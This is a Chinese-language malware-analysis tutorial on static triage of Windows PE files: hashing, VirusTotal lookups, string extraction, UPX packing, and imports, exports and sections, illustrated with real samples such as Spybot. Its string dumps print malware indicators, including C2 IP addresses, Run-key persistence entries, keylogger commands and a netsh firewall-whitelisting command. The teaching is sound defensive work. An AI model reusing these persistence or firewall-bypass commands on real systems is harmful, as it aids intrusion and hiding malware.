在 Linux 系统中,要查找文件签名,可以使用 xxd 命令,它会生成文件的十六进制转储,如下所示:

$ xxd -g 1 log.exe | more
0000000: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00  MZ..............
0000010: b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  ........@.......
0000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0000030: 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00  ................

1.2 使用工具识别文件类型

另一种便捷的确定文件类型的方法是使用文件识别工具。在 Linux 系统中,可以使用 file 实用程序来实现。以下示例中,file 命令被应用于两个不同的文件。从输出结果可以看出,尽管第一个文件没有任何扩展名,但它被识别为一个 32 位可执行文件(PE32),而第二个文件则是一个 64 位(PE32+)可执行文件:

$ file mini
mini: PE32 executable (GUI) Intel 80386, for MS Windows

$ file notepad.exe
notepad.exe: PE32+ executable (GUI) x86-64, for MS Windows

在 Windows 上,CFF Explorer(属于 Explorer Suite)(www.ntcore.com/exsuite.php) 可以用来确定文件类型;它不仅限于确定文件类型,还可以作为一个出色的工具来检查可执行文件(包括 32 位和 64 位),并允许你检查 PE 内部结构、修改字段和提取资源。

1.3 使用 Python 确定文件类型

在 Python 中,python-magic 模块可以用来确定文件类型。在 Ubuntu Linux 虚拟机上安装此模块的过程在第一章,恶意软件分析介绍中已有介绍。在 Windows 上,要安装 python-magic 模块,可以按照github.com/ahupp/python-magic中提到的步骤进行操作。

安装 python-magic 后,可以在脚本中使用以下命令来确定文件类型:

$ python Python 2.7.12 (default, Nov 19 2016, 06:48:10) >>> import magic
>>> m = magic.open(magic.MAGIC_NONE)
>>> m.load()
>>> ftype = m.file(r'log.exe')
>>> print ftype
PE32 executable (GUI) Intel 80386, for MS Windows

为了演示如何检测文件类型,我们以一个文件为例,该文件通过将扩展名从 .exe 改为 .doc.exe,被伪装成一个 Word 文档。在这种情况下,攻击者利用了默认情况下 “隐藏已知文件类型的扩展名”“Windows 文件夹选项” 中启用的事实;该选项会阻止文件扩展名显示给用户。以下截图展示了启用 “隐藏已知文件类型的扩展名” 后文件的外观:

打开 CFF Explorer 文件后,可以发现它是一个 32 位的可执行文件,而不是一个 Word 文档,如下所示:

2. 指纹识别恶意软件

指纹识别涉及基于文件内容生成可疑二进制文件的加密哈希值。加密哈希算法,如 MD5SHA1SHA256,被认为是生成恶意软件样本文件哈希的事实标准。以下列表概述了加密哈希值的用途:

  • 仅根据文件名识别恶意软件样本是无效的,因为同一恶意软件样本可能会使用不同的文件名,但基于文件内容计算的加密哈希值始终保持不变。因此,针对可疑文件的加密哈希值在整个分析过程中充当独特的标识符。

  • 在动态分析过程中,当恶意软件被执行时,它可能会将自身复制到另一个位置,或释放另一个恶意软件。拥有样本的加密哈希值可以帮助确定新释放/复制的样本是否与原始样本相同,或是否是不同的样本。这些信息有助于你决定分析是只针对一个样本进行,还是需要分析多个样本。

  • 文件哈希值常常作为与其他安全研究人员共享的指标,帮助他们识别样本。

  • 文件哈希值可以用来确定该样本是否曾经被在线搜索或在多个反病毒扫描服务的数据库中检测到,如 VirusTotal

2.1 使用工具生成加密哈希值

在 Linux 系统中,可以使用 md5sumsha256sumsha1sum 工具生成文件哈希值:

$ md5sum log.exe
6e4e030fbd2ee786e1b6b758d5897316  log.exe

$ sha256sum log.exe
01636faaae739655bf88b39d21834b7dac923386d2b52efb4142cb278061f97f  log.exe

$ sha1sum log.exe
625644bacf83a889038e4a283d29204edc0e9b65  log.exe

对于 Windows,许多生成文件哈希值的工具可以在网上找到。HashMyFiles (www.nirsoft.net/utils/hash_my_files.html) 就是其中一个工具,可以生成单个或多个文件的哈希值,并且它还会用相同的颜色高亮显示相同的哈希值。在下图中,可以看到 log.exebunny.exe 根据其哈希值是相同的样本:

你可以在这里查看各种哈希工具的列表及对比:en.wikipedia.org/wiki/Comparison_of_file_verification_software。在仔细审查后,选择最适合你需求的工具。

2.2 使用 Python 确定加密哈希值

在 Python 中,可以使用 hashlib 模块生成文件哈希值,如下所示:

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
>>> import hashlib
>>> content = open(r"log.exe","rb").read()
>>> print hashlib.md5(content).hexdigest()
6e4e030fbd2ee786e1b6b758d5897316
>>> print hashlib.sha256(content).hexdigest()
01636faaae739655bf88b39d21834b7dac923386d2b52efb4142cb278061f97f
>>> print hashlib.sha1(content).hexdigest()
625644bacf83a889038e4a283d29204edc0e9b65

3. 多重反病毒扫描

使用多个杀毒软件扫描可疑的二进制文件有助于确定该文件是否含有恶意代码签名。特定文件的签名名称可以提供有关该文件及其功能的更多信息。通过访问相应的杀毒软件供应商网站或在搜索引擎中搜索该签名,你可以获得关于可疑文件的更多细节。这些信息可以帮助你后续的调查,并缩短分析时间。

3.1 使用 VirusTotal 扫描可疑二进制文件

VirusTotal (www.virustotal.com) 是一个流行的基于 Web 的恶意软件扫描服务。它允许你上传文件,然后使用各种杀毒软件扫描该文件,扫描结果会实时显示在网页上。除了上传文件进行扫描外,VirusTotal 的网页界面还提供了通过 哈希值URL域名IP 地址 搜索其数据库的功能。VirusTotal 还提供了一个名为 VirusTotal Graph 的有用功能,它建立在 VirusTotal 数据集之上。使用 VirusTotal Graph,你可以可视化你提交的文件与其相关指标(如 域名IP 地址URL)之间的关系。它还允许你在每个指标之间进行切换和浏览;如果你想快速确定与恶意二进制文件相关的指标,这个功能非常有用。有关 VirusTotal Graph 的更多信息,请参考文档:support.virustotal.com/hc/en-us/articles/115005002585-VirusTotal-Graph

以下截图显示了恶意二进制文件的检测名称,可以看到该二进制文件已通过 67 个杀毒引擎进行扫描,其中 60 个引擎检测到该二进制文件为恶意文件。如果你希望在二进制文件上使用VirusTotal Graph来可视化指标关系,只需点击 VirusTotal Graph 图标并使用你的 VirusTotal(社区)账户登录:

VirusTotal 提供不同的私人(付费)服务 (support.virustotal.com/hc/en-us/articles/115003886005-Private-Services),这些服务允许你进行威胁狩猎并下载提交给它的样本。

3.2 使用 VirusTotal 公共 API 查询哈希值

VirusTotal 还通过其公共 API 提供脚本功能 (www.virustotal.com/en/documentation/public-api/);它允许你自动提交文件,检索文件/URL 扫描报告,以及检索域名/IP 报告。

以下是一个展示如何使用 VirusTotal 公共 API 的 Python 脚本。该脚本以哈希值(MD5/SHA1/SHA256)作为输入,并查询 VirusTotal 数据库。要使用以下脚本,你需要使用Python 2.7.x版本;必须连接到互联网,并且必须有一个 VirusTotal 公共 API 密钥(可以通过注册VirusTotal帐户获得)。一旦你获得了 API 密钥,只需更新api_key变量中的 API 密钥:

以下脚本和本书中大多数脚本用于演示概念;它们没有执行输入验证或错误处理。如果你希望将它们用于生产环境,应该考虑修改脚本,遵循这里提到的最佳实践:www.python.org/dev/peps/pep-0008/

import urllib
import urllib2
import json
import sys

hash_value = sys.argv[1]
vt_url = "https://www.virustotal.com/vtapi/v2/file/report"
api_key = "<update your api key here>"
parameters = {'apikey': api_key, 'resource': hash_value}
encoded_parameters = urllib.urlencode(parameters)
request = urllib2.Request(vt_url, encoded_parameters)
response = urllib2.urlopen(request)
json_response = json.loads(response.read())
if json_response['response_code']:
    detections = json_response['positives']
    total = json_response['total']
    scan_results = json_response['scans']
    print "Detections: %s/%s" % (detections, total)
    print "VirusTotal Results:"
    for av_name, av_data in scan_results.items():
        print "\t%s ==> %s" % (av_name, av_data['result'])
else:
    print "No AV Detections For: %s" % hash_value

通过给定二进制文件的 MD5 哈希值运行前面的脚本,可以显示该二进制文件的防病毒检测结果和签名名称。

$ md5sum 5340.exe
5340fcfb3d2fa263c280e9659d13ba93 5340.exe
$ python vt_hash_query.py 5340fcfb3d2fa263c280e9659d13ba93
Detections: 44/56
VirusTotal Results:
  Bkav ==> None
  MicroWorld-eScan ==> Trojan.Generic.11318045
  nProtect ==> Trojan/W32.Agent.105472.SJ
  CMC ==> None
  CAT-QuickHeal ==> Trojan.Agen.r4
  ALYac ==> Trojan.Generic.11318045
  Malwarebytes ==> None
  Zillya ==> None
  SUPERAntiSpyware ==> None
  TheHacker ==> None
  K7GW ==> Trojan ( 001d37dc1 )
  K7AntiVirus ==> Trojan ( 001d37dc1 )
  NANO-Antivirus ==> Trojan.Win32.Agent.cxbxiy
  F-Prot ==> W32/Etumbot.K
  Symantec ==> Trojan.Zbot
  [.........Removed..............]

另一种选择是使用 PE 分析工具,如pestudiowww.winitor.com/)或PPEEwww.mzrst.com/)。加载二进制文件后,二进制文件的哈希值会自动从 VirusTotal 数据库中查询,并显示结果,如下图所示:

在线扫描工具如VirSCANwww.virscan.org/)、Jotti Malware Scanvirusscan.jotti.org/)和OPSWAT 的 Metadefenderwww.metadefender.com/#!/scan-file)允许你使用多个反病毒扫描引擎扫描可疑文件,其中一些还允许你进行哈希值查询。

在使用反病毒扫描器扫描二进制文件或将二进制文件提交给在线反病毒扫描服务时,有几个因素/风险需要考虑:

  • 如果可疑的二进制文件未被反病毒扫描引擎检测到,并不一定意味着该二进制文件是安全的。这些反病毒引擎依赖签名和启发式方法来检测恶意文件。恶意软件作者可以轻松修改其代码并使用混淆技术来绕过这些检测,因此某些反病毒引擎可能未能将该二进制文件识别为恶意。

  • 当你将二进制文件上传到公共网站时,提交的二进制文件可能会与第三方和供应商共享。可疑的二进制文件可能包含敏感的、个人的或属于你组织的专有信息,因此不建议将作为机密调查一部分的二进制文件提交给公共反病毒扫描服务。大多数基于网页的反病毒扫描服务允许你使用加密哈希值(MD5、SHA1 或 SHA256)搜索它们已有的扫描文件数据库;因此,提交二进制文件的替代方法是根据二进制文件的加密哈希进行搜索。

  • 当你将一个二进制文件提交到在线的病毒扫描引擎时,扫描结果会存储在它们的数据库中,且大多数扫描数据是公开的,可以稍后查询。攻击者可以使用搜索功能查询他们样本的哈希值,检查他们的二进制文件是否已被检测到。如果他们的样本被检测到,攻击者可能会改变战术以避免被检测。

4. 提取字符串

字符串是嵌入在文件中的 ASCII 和 Unicode 可打印字符序列。提取字符串可以为可疑二进制文件提供程序功能线索和相关指示。例如,如果恶意软件创建了一个文件,文件名 会作为字符串存储在二进制文件中。或者,如果恶意软件解析了由攻击者控制的 域名,则该域名会作为字符串存储。通过二进制文件提取的字符串可能包含对文件名、URL、域名、IP 地址、攻击命令、注册表键等的引用。虽然字符串无法清楚地展示文件的目的和功能,但它们可以提供恶意软件可能执行的操作的提示。

4.1 使用工具提取字符串

要从可疑的二进制文件中提取字符串,可以在 Linux 系统上使用 strings 工具。默认情况下,strings 命令提取至少四个字符长的 ASCII 字符串。通过使用 -a 选项,可以从整个文件中提取字符串。以下从恶意二进制文件中提取的 ASCII 字符串显示了对IP 地址的引用。这表明,当这个恶意软件被执行时,它可能会与该 IP 地址建立连接:

$ strings -a log.exe
!This program cannot be run in DOS mode.
Rich
.text
`.rdata
@.data
L$"%
h4z@
128.91.34.188
%04d-%02d-%02d %02d:%02d:%02d %s

在以下示例中,从名为 Spybot 的恶意软件提取的 ASCII 字符串表明了它的 DOS键盘记录 功能:

$ strings -a spybot.exe
!This program cannot be run in DOS mode.
.text
`.bss
.data
.idata
.rsrc
]_^[
keylog.txt
%s (Changed window
Keylogger Started
HH:mm:ss]
[dd:MMM:yyyy,
SynFlooding: %s port: %i delay: %i times:%i.
bla bla blaaaasdasd
Portscanner startip: %s port: %i delay: %ssec.
Portscanner startip: %s port: %i delay: %ssec. logging to: %s
kuang
sub7
%i.%i.%i.0
scan
redirect %s:%i > %s:%i)
Keylogger logging to %s
Keylogger active output to: DCC chat
Keylogger active output to: %s
error already logging keys to %s use "stopkeylogger" to stop
startkeylogger
passwords

恶意软件样本还使用 Unicode(每个字符 2 字节)字符串。为了从二进制文件中获取有用信息,有时你需要同时提取 ASCIIUnicode 字符串。要使用 strings 命令提取 Unicode 字符串,可以使用 -el 选项。

在以下示例中,恶意软件样本并未揭示出异常的 ASCII 字符串,但提取的 Unicode 字符串显示了对 域名Run 注册表键(恶意软件常用来在重启后保持存活)的引用;它还突出了恶意软件可能具有将程序添加到防火墙白名单的能力:

$ strings -a -el multi.exe
AppData
44859ba2c98feb83b5aab46a9af5fefc
haixxdrekt.dyndns.hu
True
Software\Microsoft\Windows\CurrentVersion\Run
Software\
.exe
SEE_MASK_NOZONECHECKS
netsh firewall add allowedprogram "

在 Windows 上,pestudio (www.winitor.com) 是一款方便的工具,能够显示 ASCII 和 Unicode 字符串。pestudio 是一款出色的 PE 分析工具,用于执行对可疑二进制文件的初步恶意软件评估,旨在从 PE 可执行文件中提取各种有用信息。此工具的其他多种功能将在后续章节中详细介绍。

以下截图显示了 pestudio 列出的一些ASCIIUnicode字符串,它通过在黑名单列中突出显示一些显著的字符串,帮助你专注于二进制文件中的有趣字符串:

由 Mark Russinovich 移植到 Windows 的strings工具(technet.microsoft.com/en-us/sysinternals/strings.aspx)和PPEEwww.mzrst.com/)是其他可以用来提取 ASCII 和 Unicode 字符串的工具。

4.2 使用 FLOSS 解码混淆字符串

大多数情况下,恶意软件作者使用简单的字符串混淆技术来避免被检测到。在这种情况下,那些混淆过的字符串不会出现在strings工具和其他字符串提取工具中。FireEye 实验室混淆字符串解码器FLOSS)是一款旨在自动识别和提取恶意软件中混淆字符串的工具。它可以帮助你识别恶意软件作者想要隐藏的字符串,避免被字符串提取工具提取。FLOSS也可以像strings工具一样,用于提取人类可读的字符串(ASCII 和 Unicode)。你可以从github.com/fireeye/flare-floss下载适用于 Windows 或 Linux 的FLOSS

在下面的示例中,运行一个FLOSS独立的二进制文件在恶意软件样本上,不仅提取了人类可读的字符串,还解码了混淆过的字符串,并提取了栈字符串,这些是strings工具和其他字符串提取工具遗漏的。以下输出显示了对可执行文件Excel 文件运行注册表项的引用:

$ chmod +x floss
$ ./floss 5340.exe
FLOSS static ASCII strings
!This program cannot be run in DOS mode.
Rich
.text
`.rdata
@.data
[..removed..]

FLOSS decoded 15 strings
kb71271.log
R6002
- floating point not loaded
\Microsoft
winlogdate.exe
~tasyd3.xls
[....REMOVED....]

FLOSS extracted 13 stack strings
BINARY
ka4a8213.log
afjlfjsskjfslkfjsdlkf
'Clt
~tasyd3.xls
"%s"="%s"
regedit /s %s
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[.....REMOVED......]

如果你只对解码/栈字符串感兴趣,并且想要从 FLOSS 输出中排除静态字符串(ASCII 和 Unicode),那么可以使用--no-static-strings开关。关于 FLOSS 工作原理及其各种使用选项的详细信息,请访问www.fireeye.com/blog/threat-research/2016/06/automatically-extracting-obfuscated-strings.html

5. 确定文件混淆

尽管字符串提取是一种出色的技术,可以获取有价值的信息,但恶意软件作者常常对其恶意软件二进制文件进行混淆或加固。恶意软件作者使用混淆技术来保护恶意软件的内部工作原理,防止安全研究人员、恶意软件分析师和逆向工程师的分析。这些混淆技术使得检测/分析二进制文件变得困难;从这样的二进制文件中提取字符串的结果是字符串数量非常少,而且大多数字符串都是模糊不清的。恶意软件作者通常使用诸如打包器加密器之类的程序对文件进行混淆,以避免安全产品如反病毒软件的检测,并破坏分析过程。

5.1 打包器和加密器

打包器Packer)是一个程序,它将可执行文件作为输入,并使用压缩来混淆可执行文件的内容。这个混淆后的内容会存储在新可执行文件的结构中;最终结果是一个带有混淆内容的新可执行文件(打包程序),并存储在磁盘上。在执行这个打包程序时,它会执行一个解压例程,在运行时将原始二进制文件提取到内存中并触发执行。

加密器Cryptor)类似于打包器Packer),但它使用加密而非压缩来混淆可执行文件的内容,加密后的内容存储在新的可执行文件中。在执行加密程序时,它会运行解密例程,从内存中提取原始二进制文件,并触发执行。

为了展示文件混淆的概念,我们以一个名为Spybot的恶意软件样本(未打包)为例;从Spybot中提取字符串后,显示出可疑的可执行文件名和 IP 地址,如下所示:

$ strings -a spybot.exe
[....removed....]
EDU_Hack.exe
Sitebot.exe
Winamp_Installer.exe
PlanetSide.exe
DreamweaverMX_Crack.exe
FlashFXP_Crack.exe
Postal_2_Crack.exe
Red_Faction_2_No-CD_Crack.exe
Renegade_No-CD_Crack.exe
Generals_No-CD_Crack.exe
Norton_Anti-Virus_2002_Crack.exe
Porn.exe
AVP_Crack.exe
zoneallarm_pro_crack.exe
[...REMOVED...]
209.126.201.22
209.126.201.20

然后,Spybot样本通过一个流行的打包工具UPXupx.github.io/)进行了打包,结果是生成了一个新的打包可执行文件(spybot_packed.exe)。以下命令输出显示了原始文件与打包文件之间的大小差异。UPX 使用压缩,因此打包后的二进制文件比原始二进制文件小:

$ upx -o spybot_packed.exe spybot.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013
File size Ratio Format Name
-------------------- ------ ----------- -----------
44576 -> 21536 48.31% win32/pe spybot_packed.exe
Packed 1 file.

$ ls -al
total 76
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 9 09:04 .
drwxr-xr-x 6 ubuntu ubuntu 4096 Jul 9 09:04 ..
-rw-r--r-- 1 ubuntu ubuntu 44576 Oct 22 2014 spybot.exe
-rw-r--r-- 1 ubuntu ubuntu 21536 Oct 22 2014 spybot_packed.exe

对打包二进制文件运行 strings 命令会显示被混淆的字符串,且没有透露出太多有价值的信息;这也是攻击者混淆文件的原因之一:

$ strings -a spybot_packed.exe
!This program cannot be run in DOS mode.
UPX0
UPX1
.rsrc
3.91
UPX!
t ;t
/t:VU
]^M 
9-lh
:A$m
hAgo .
C@@f.
Q*vPCi
%_I;9
PVh29A
[...REMOVED...]

UPX 是一个常见的打包工具,你经常会遇到用 UPX 打包的恶意软件样本。在大多数情况下,你可以使用-d选项来解包样本。一个示例命令是upx -d -o spybot_unpacked.exe spybot_packed.exe

5.2 使用 Exeinfo PE 检测文件混淆

大多数合法的可执行文件不会混淆内容,但一些可执行文件可能会这样做,以防止他人检查其代码。当你遇到一个被打包的样本时,它很可能是恶意的。为了检测 Windows 上的打包工具,你可以使用像Exeinfo PE这样的免费工具(exeinfo.atwebpages.com/);它具有易于使用的图形界面。写这本书时,它使用超过 4,500 个签名(存储在userdb.txt文件中)来检测构建程序时使用的各种编译器、打包工具或加密工具。除了检测打包工具,Exeinfo PE的另一个有趣功能是,它会提供如何解包样本的信息或参考。

将打包的Spybot恶意软件样本加载到Exeinfo PE中显示它是用 UPX 打包的,并且还给出了使用哪个命令来解压混淆文件的提示;这可以让你的分析变得更加轻松:

其他可以帮助你进行打包检测的 CLI 和 GUI 工具包括 TrID (mark0.net/soft-trid-e.html),TRIDNet (mark0.net/soft-tridnet-e.html),Detect It Easy (ntinfo.biz/),RDG Packer Detector (www.rdgsoft.net/),packerid.py (github.com/sooshie/packerid),和 PEiD (www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)。

6. 检查 PE 头部信息

Windows 可执行文件必须符合 PE/COFF(可移植可执行/通用对象文件格式)。PE 文件格式被 Windows 可执行文件(如 .exe.dll.sys.ocx.drv)使用,这些文件通常被称为 可移植可执行(PE) 文件。PE 文件是由一系列结构和子组件组成,包含了操作系统加载到内存所需的信息。

当一个可执行文件被编译时,它包含一个头部(PE 头部),该头部描述了其结构。当二进制文件被执行时,操作系统加载器从 PE 头部读取信息,然后将二进制内容从文件加载到内存中。PE 头部包含的信息有:可执行文件需要加载到内存中的位置、执行开始的地址、应用程序所依赖的库/函数列表以及二进制文件使用的资源。检查 PE 头部可以获得关于二进制文件及其功能的丰富信息。

本书并不涵盖 PE 文件结构的基础知识。然而,与恶意软件分析相关的概念将在以下小节中进行讨论;有各种资源可以帮助理解 PE 文件结构。以下是一些理解 PE 文件结构的优秀资源:

通过将可疑文件加载到 PE 分析工具中,你可以清楚地了解 PE 文件格式。以下是一些允许你检查和修改 PE 结构及其子组件的工具:

后续部分将介绍一些对恶意软件分析有用的重要 PE 文件属性。诸如 pestudio (www.winitor.com) 或 PPEE (puppy): www.mzrst.com/ 等工具,可以帮助你探索 PE 文件中的有趣信息。

6.1 检查文件依赖关系和导入

通常,恶意软件与文件、注册表、网络等进行交互。为了执行这些交互,恶意软件通常依赖于操作系统暴露的功能。Windows 导出大部分执行这些交互所需的功能,这些功能被称为应用程序编程接口(API),并存储在动态链接库(DLL)文件中。可执行文件通常从提供不同功能的各种 DLL 文件中导入并调用这些函数。可执行文件从其他文件(主要是 DLL)导入的函数称为导入函数(或imports)。

例如,如果恶意软件可执行文件想要在磁盘上创建一个文件,它可以使用 Windows 中的 CreateFile() API,该 API 存储在 kernel32.dll 中。为了调用该 API,恶意软件首先必须将 kernel32.dll 加载到其内存中,然后调用 CreateFile() 函数。

检查恶意软件依赖的 DLL 以及它从这些 DLL 导入的 API 函数,可以帮助了解恶意软件的功能和能力,并预测其执行过程中可能发生的情况。Windows 可执行文件中的文件依赖关系存储在 PE 文件结构的导入表中。

在以下示例中,spybot 样本被加载到 pestudio 中。点击 pestudio 中的库按钮,显示出可执行文件依赖的所有 DLL 文件,以及从每个 DLL 导入的函数数量。这些是程序执行时会加载到内存中的 DLL 文件:

点击 pestudio 中的导入按钮会显示从这些 DLL 导入的 API 函数。在以下截图中,恶意软件从 wsock32.dll 导入与网络相关的 API 函数(如 connectsocketlistensend 等),这表明恶意软件在执行时很可能会连接到互联网或执行某些网络活动。 pestudio 会在黑名单栏中突出显示恶意软件常用的 API 函数。在后续章节中,将更详细地介绍如何检查 API 函数的技巧:

有时,恶意软件可以在运行时显式加载 DLL,使用 LoadLibrary()LdrLoadDLL() 等 API 调用,并且可以通过 GetProcessAdress() API 来解析函数地址。在运行时加载的 DLL 信息不会出现在 PE 文件的导入表中,因此工具不会显示这些信息。

有关 API 函数及其功能的信息可以从 MSDN(Microsoft Developer Network) 获得。输入 API 名称在搜索框中(msdn.microsoft.com/en-us/default.aspx),以获取有关该 API 的详细信息。

除了确定恶意软件功能外,导入项还可以帮助你检测恶意软件样本是否被混淆。如果你遇到一个导入项非常少的恶意软件,那么这强烈表明它是一个打包的二进制文件。

为了证明这一点,让我们比较 未打包的 spybot 样本打包的 spybot 样本 之间的导入项。以下截图显示了未打包的 spybot 样本中有 110 个导入项:

另一方面,spybot 的 打包样本 仅显示了 12 个导入:

有时你可能需要使用 Python 来列举 DLL 文件和导入的函数(可能是为了处理大量文件);这可以使用 Ero Carerra 的 pefile 模块完成(github.com/erocarrera/pefile)。在 第一章,恶意软件分析简介 中已介绍如何在 Ubuntu Linux 虚拟机上安装 pefile 模块。如果你使用的是其他操作系统,可以通过 pip 安装(pip install pefile)。以下 Python 脚本演示了如何使用 pefile 模块列举 DLL 文件和导入的 API 函数:

import pefile
import sys

mal_file = sys.argv[1]
pe = pefile.PE(mal_file)
if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
    for entry in pe.DIRECTORY_ENTRY_IMPORT:
        print "%s" % entry.dll
        for imp in entry.imports:
            if imp.name != None:
                print "\t%s" % (imp.name)
            else:
                print "\tord(%s)" % (str(imp.ordinal))
        print "\n"

以下是运行上述脚本对 spybot_packed.exe 样本进行分析后的结果;从输出中可以看到 DLL 文件和导入函数的列表:

$ python enum_imports.py spybot_packed.exe
KERNEL32.DLL
  LoadLibraryA
  GetProcAddress
  VirtualProtect
  VirtualAlloc
  VirtualFree
  ExitProcess

ADVAPI32.DLL
  RegCloseKey

CRTDLL.DLL
  atoi
[...REMOVED....]

6.2  检查导出

可执行文件和 DLL 可以导出函数,供其他程序使用。通常,DLL 导出由可执行文件导入的函数 (exports)。DLL 本身无法独立运行,依赖于主进程来执行其代码。攻击者通常会创建一个导出包含恶意功能的函数的 DLL。为了执行 DLL 中的恶意函数,必须通过某种方式使其被加载到一个进程中,并调用这些恶意函数。DLL 还可以从其他库(DLL)导入函数以执行系统操作。

检查导出的函数可以快速了解 DLL 的功能。在以下示例中,加载一个与恶意软件 Ramnit 相关的 DLL 到 pestudio 中,查看其导出函数,从而推测其功能。当一个进程加载这个 DLL 时,某个时刻,这些函数会被调用来执行恶意活动:

导出函数的名称可能无法完全反映恶意软件的功能。攻击者可能使用随机或伪造的导出名称来误导你的分析,或者将你引入误区。

在 Python 中,可以使用 pefile 模块 枚举导出函数,如下所示:

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
>>> import pefile
>>> pe = pefile.PE("rmn.dll")
>>> if hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
...     for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
...         print "%s" % exp.name
... 
AddDriverPath
AddRegistryforME
CleanupDevice
CleanupDevice_EX
CreateBridgeRegistryfor2K
CreateFolder
CreateKey
CreateRegistry
DeleteDriverPath
DeleteOemFile
DeleteOemInfFile
DeleteRegistryforME
DuplicateFile
EditRegistry
EnumerateDevice
GetOS
[.....REMOVED....]

6.3  检查 PE 段表和段

PE 文件的实际内容被划分为多个段(sections)。这些段紧接在 PE 头之后。这些段代表的是 代码数据,并具有如读/写等内存属性。代表代码的段包含将由处理器执行的指令,而包含数据的段可以代表不同类型的数据,如读/写程序数据(全局变量)、导入/导出表、资源等。每个段都有一个独特的名称,用来表示该段的目的。例如,名为 .text 的段表示代码,并具有 read-execute 属性;名为 .data 的段表示全局数据,并具有 read-write 属性。

在可执行文件的编译过程中,编译器会添加一致的段名。下表列出了 PE 文件中一些常见的段:

段名 描述
.textCODE 包含可执行代码。
.dataDATA 通常包含读/写数据和全局变量。
.rdata 包含只读数据。有时它还包含导入和导出信息。
.idata 如果存在,包含导入表。如果不存在,则导入信息存储在 .rdata 段中。
.edata 如果存在,包含导出信息。如果不存在,则导出信息位于 .rdata 段中。
.rsrc 此段包含可执行文件使用的资源,如图标、对话框、菜单、字符串等。

这些节名称主要供人类使用,操作系统并不使用它们,这意味着攻击者或混淆软件可能会创建具有不同名称的节。如果你遇到不常见的节名称,应当对此保持怀疑,并且需要进一步分析以确认其是否具有恶意。

这些节的信息(如节名称、节的位置以及其特征)存在于 PE 头中的节表中。检查节表将提供关于节及其特征的信息。

当你在pestudio中加载一个可执行文件并点击节时,它会显示从节表提取的节信息及其属性(如读/写等)。以下是来自 pestudio 的可执行文件的节信息截图,截图中一些相关字段在此进行解释:

字段 描述
名称 显示节名称。在这种情况下,可执行文件包含四个节(.text.data.rdata.rsrc)。
虚拟大小 指示加载到内存时节的大小。
虚拟地址 这是节在内存中的相对虚拟地址(即,从可执行文件的基地址开始的偏移)。
原始大小 指示节在磁盘上的大小。
原始数据 指示文件中节所在的偏移位置。
入口点 这是代码开始执行的 RVA(相对虚拟地址)。在这种情况下,入口点位于.text节中,这是正常的。

检查节表也有助于识别 PE 文件中的任何异常。以下截图显示了一个使用 UPX 打包的恶意软件的节名称;该恶意软件样本包含以下差异:

  • 节名称不包含编译器添加的常见节(如.text.data等),而是包含UPX0UPX1节名称。

  • 入口点位于UPX1节中,这表明执行将从此节开始(解压缩例程)。

  • 通常,原始大小虚拟大小应该几乎相等,但由于节对齐的原因,存在小的差异是正常的。在这种情况下,原始大小0,表示该节不会占用磁盘空间,但虚拟大小指定该节在内存中占用更多空间(大约127 KB)。这强烈表明这是一个打包的二进制文件。造成这种差异的原因是,当一个打包的二进制文件执行时,打包程序的解压例程会在运行时将解压后的数据或指令复制到内存中。

以下 Python 脚本演示了如何使用pefile模块来显示节及其特征:

import pefile
import sys

pe = pefile.PE(sys.argv[1])
for section in pe.sections:
    print "%s %s %s %s" % (section.Name,
                           hex(section.VirtualAddress),
                           hex(section.Misc_VirtualSize),
                           section.SizeOfRawData)
print "\n"

以下是运行前面 Python 脚本后的输出:

$ python display_sections.py olib.exe
UPX0 0x1000 0x1f000 0
UPX1 0x20000 0xe000 53760
.rsrc 0x2e000 0x6000 24576

Michael Ligh 和 Glenn P. Edwards 开发的 pescanner 是一个出色的工具,可以根据 PE 文件属性检测可疑的 PE 文件;它使用启发式方法而不是签名,并且即使没有签名,也能帮助你识别被打包的二进制文件。你可以从 github.com/hiddenillusion/AnalyzePE/blob/master/pescanner.py 下载脚本副本。

6.4 检查编译时间戳

PE 头部包含指定二进制文件编译时间的信息;检查这个字段可以帮助你了解恶意软件首次创建的时间。这些信息对于构建攻击活动的时间线非常有用。攻击者也可能修改时间戳,防止分析人员了解实际的时间戳。有时候,编译时间戳可以用来分类可疑样本。以下示例显示了一个恶意软件二进制文件,其时间戳被修改为 2020 年的未来日期。在这种情况下,尽管无法检测到实际的编译时间戳,但这些特征可以帮助你识别异常行为:

在 Python 中,你可以使用以下 Python 命令来确定编译时间戳:

>>> import pefile
>>> import time
>>> pe = pefile.PE("veri.exe")
>>> timestamp = pe.FILE_HEADER.TimeDateStamp
>>> print time.strftime("%Y-%m-%d %H:%M:%S",time.localtime(timestamp))
2020-01-06 08:36:17

所有 Delphi 二进制文件的编译时间戳都设置为 1992 年 6 月 19 日,这使得很难检测到实际的编译时间戳。如果你正在调查一个时间戳设置为这个日期的恶意软件二进制文件,很可能你正在查看 Delphi 二进制文件。以下博客文章 www.hexacorn.com/blog/2014/12/05/the-not-so-boring-land-of-borland-executables-part-1/ 提供了有关如何从 Delphi 二进制文件获取编译时间戳的信息。

6.5 检查 PE 资源

可执行文件所需的资源,如图标、菜单、对话框和字符串,都存储在可执行文件的资源部分(.rsrc)中。攻击者通常将附加的二进制文件、诱饵文档、配置数据等信息存储在资源部分,因此检查资源部分可以揭示二进制文件的有价值信息。资源部分还包含版本信息,可以揭示有关来源、公司名称、程序作者细节和版权信息。

Resource Hacker (www.angusj.com/resourcehacker/) 是一个非常好的工具,可以用来检查、查看和提取可疑二进制文件中的资源。我们以一个看起来像 Excel 文件的二进制文件为例(注意文件扩展名被更改为 .xls.exe),如下所示:

将恶意二进制文件加载到 Resource Hacker 中,显示三个资源(图标二进制图标组)。该恶意软件样本使用了 Microsoft Excel 的图标(以给人一种 Excel 表格的假象):

